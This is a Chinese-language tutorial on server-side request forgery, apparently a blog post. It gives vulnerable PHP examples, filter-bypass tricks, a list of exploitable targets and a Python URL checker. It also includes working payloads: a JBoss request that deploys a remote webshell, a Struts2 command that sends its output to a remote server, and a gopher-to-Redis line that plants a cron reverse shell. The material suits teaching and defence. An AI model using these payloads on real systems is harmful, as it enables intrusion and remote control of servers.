09.SSRF(服务端请求伪造)

https://github.com/cujanovic/SSRF-Testing

0x01 漏洞描述


很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。
如果对用户提交的URL没有做好判断,攻击者就可以通过该机器代理攻击内网服务器。
容易导致SSRF漏洞的Web功能有分享功能、手机转码、图片相关等等,总之在请求的参数中存在URL的时候都需要敏感一些。

0x02 代码示例


1)file_get_contents

<?php
       $fh= file_get_contents($_GET['url']); 
        echo $fh; 
 ?>

2)curl_exec

<?php
       $ch = curl_init();
       curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
       curl_setopt($ch, CURLOPT_HEADER, 0);
       $output = curl_exec($ch);
       echo $output;
       curl_close($ch);
?>

3)fsockopen()

<?php
       function GetFile($host,$port,$link)
       {
              $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
              if (!$fp) {
                     echo "$errstr (error number $errno) \n";
              }
              else {
                     $out = "GET $link HTTP/1.1\r\n";
                     $out .= "Host: $host\r\n";
                     $out .= "Connection: Close\r\n\r\n";
                     $out .= "\r\n";
                     fwrite($fp, $out);
                     $contents='';
                     while (!feof($fp)) {
                     $contents.= fgets($fp, 1024);
                     }
                     fclose($fp);
                     return $contents;
              }
       }
?>

0x03 漏洞利用

1、通过file协议读取本地文件

image

2、端口扫描

首选需要收集内网IP地址,常用方式有:
a)漏洞平台历史漏洞获取
b)子域名解析结果中
c)扫描器扫描(例如WVS扫描会报出内网IP)

另外可以分为两种有回显和无回显两种情况

例如Web服务,有回显的话,就有可能访问到一些敏感系统,另外还可以识别内网应用的CMS等等,针对性的攻击

而如果没有回显的话,则可以通过返回内容、返回数据包的长度、页面响应时间等等确认端口开放情况。

3、攻击内网Web应用

这个wooyun上有人分享过了,仅仅通过GET方法就能攻击的两个案例:

jboss部署Webshell

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=3&arg0=http%3A%2F%2F192.168.1.2%2Fzecmd.war

通过JBOSS HtmlAdaptor接口直接部署远程war包, 我们可以通过access.log去验证war包是否成功部署。

structs2 命令执行

?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'command'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#t=#d.readLine(),#u="http://SERVER/result=".concat(#t),#http=new java.net.URL(#u).openConnection(),#http.setRequestMethod("GET"),#http.connect(),#http.getInputStream()}

命令执行结果会发送到远端服务器,通过access.log获取。

0x04 绕过姿势


1)利用解析URL所出现的问题

http://www.baidu.com@10.10.10.10与http://10.10.10.10 当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是10.10.10.10上的内容。
该绕过同样在URL跳转绕过中适用。
http://www.wooyun.org/bugs/wooyun-2015-091690

2)更改IP地址写法

ip地址转换成进制来访问
115.239.210.26 = 16373751032

3)添加端口可能绕过匹配正则

10.10.10.10:80 案例:
http://www.wooyun.org/bugs/wooyun-2014-061850

4)用短地址(302跳转)绕过,

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。

案例:
http://www.wooyun.org/bugs/wooyun-2010-0132243
http://www.wooyun.org/bugs/wooyun-2010-0135257

5)利用xip.io和xip.name
10.0.0.1.xip.io 10.0.0.1
www.10.0.0.1.xip.io 10.0.0.1
mysite.10.0.0.1.xip.io 10.0.0.1
foo.bar.10.0.0.1.xip.io 10.0.0.1
10.0.0.1.xip.name  resolves to 10.0.0.1
www.10.0.0.2.xip.name  resolves to 10.0.0.2
foo.10.0.0.3.xip.name  resolves to 10.0.0.3
bar.baz.10.0.0.4.xip.name  resolves to 10.0.0.4
6)通过各种非HTTP协议[]

如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。
比如通过gopher,可以在一个url参数中构造POST或者GET请求,从而达到攻击内网应用的目的。例如可以使用gopher协议对与内网的Redis服务进行攻击,可以使用如下的URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

除了gopher协议,File协议也是SSRF中常用的协议,该协议主要用于访问本地计算机中的文件,我们可以通过类似 file:///path/to/file 这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过 file:///d:/1.txt 来访问D盘中1.txt的内容

7) DNS Rebinding

一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,可以进行DNS重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

  • 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  • 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  • 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
  • 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

0x05 可能的利用点

    ftp、ftps (FTP爆破)
    sftp
    tftp(UDP协议扩展)
    dict
    gopher
    ldap
    imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
    rtsp - smb/smbs (连接SMB)
    telnet
    http、https - 内网服务探测
    ShellShock命令执行
    JBOSS远程Invoker war命令执行
    Java调试接口命令执行
    axis2-admin部署Server命令执行
    Jenkins Scripts接口命令执行
    Confluence SSRF
    Struts2 命令执行
    counchdb WEB API远程命令执行
    mongodb SSRF
    docker API远程命令执行
    php_fpm/fastcgi 命令执行
    tomcat命令执行
    Elasticsearch引擎Groovy脚本命令执行
    WebDav PUT上传任意文件
    WebSphere Admin可部署war间接命令执行
    Apache Hadoop远程命令执行
    zentoPMS远程命令执行
    HFS远程命令执行
    glassfish任意文件读取和war文件部署间接命令执行

0x06 参数检测


# -*- coding: utf8 -*-
"""
Server-side Request Forgery vulnerability
"""

import sys
import urlparse
import re
import socket
import struct
import requests  

def ip_into_int(ip):
    return reduce(lambda x,y:(x<<8)+y,map(int,ip.split('.')))

def is_internal_ip(ip):
    ip = ip_into_int(ip)
    net_a = ip_into_int('10.255.255.255') >> 24
    net_b = ip_into_int('172.31.255.255') >> 20
    net_c = ip_into_int('192.168.255.255') >> 16
    return ip >> 24 == net_a or ip >>20 == net_b or ip >> 16 == net_c

def ssrfcheck(url):
    '''
    SSRF绕过方式:
    a) 302 redirect
    b) mysite.10.0.0.1.xip.io:80
    c) 123@baidu.com
    d) 16373751032
    '''
    if '://' in url:
        if not url.startswith('http') and not url.startswith('https'):
            print "Unsupported scheme"
            sys.exit()
    else:
        url = 'http://' + url
    domain = urlparse.urlsplit(url).netloc
    path = urlparse.urlsplit(url).path
    scheme = urlparse.urlsplit(url).scheme
    port = ''
    if '@' in domain: # 123@baidu.com
        domain = domain[domain.index('@') + 1:]
    if re.findall(':\d{1,5}$', domain): # mysite.10.0.0.1.xip.io:80
        _list = domain.split(':')
        domain = _list[0]
        port = _list[1]
    if re.findall('^\d*$', domain): # 16373751032
        domain = socket.inet_ntoa(struct.pack('I',socket.htonl(int(domain))))
    compile_ip=re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')    
    if compile_ip.match(domain):    
        ipaddr = domain    
    else:    
        ipaddr = socket.gethostbyname(domain)
    if not is_internal_ip(ipaddr):
        if port:
            url = scheme + "://" + domain + ":" + port + path
        else:
            url = scheme + "://" + domain + path
        print url
        try: # 302 redirect
            r = requests.head(url, stream=True, timeout=1)  
            if r.status_code == 302:
                print "302 Redirect"
                _url = r.headers['Location']
                ssrfcheck(_url)
            else:
                print "External IP"
        except Exception, e:
            print e
            return False
    else:
        print "Intranet IP"
    
if __name__ == '__main__':
    ssrfcheck(sys.argv[1])

0x07 参考文章


http://www.tuicool.com/articles/32UnAzq
http://0cx.cc/some_tips_with_sssrf.jspx
http://wufeifei.com/ssrf/
SSRF漏洞分析与利用
A New Era Of SSRF
php ssrf technique
谈一谈如何在Python开发中拒绝SSRF漏洞
SSRF Tips

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,651评论 6 501
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,468评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,931评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,218评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,234评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,198评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,084评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,926评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,341评论 1 311
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,563评论 2 333
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,731评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,430评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,036评论 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,676评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,829评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,743评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,629评论 2 354

推荐阅读更多精彩内容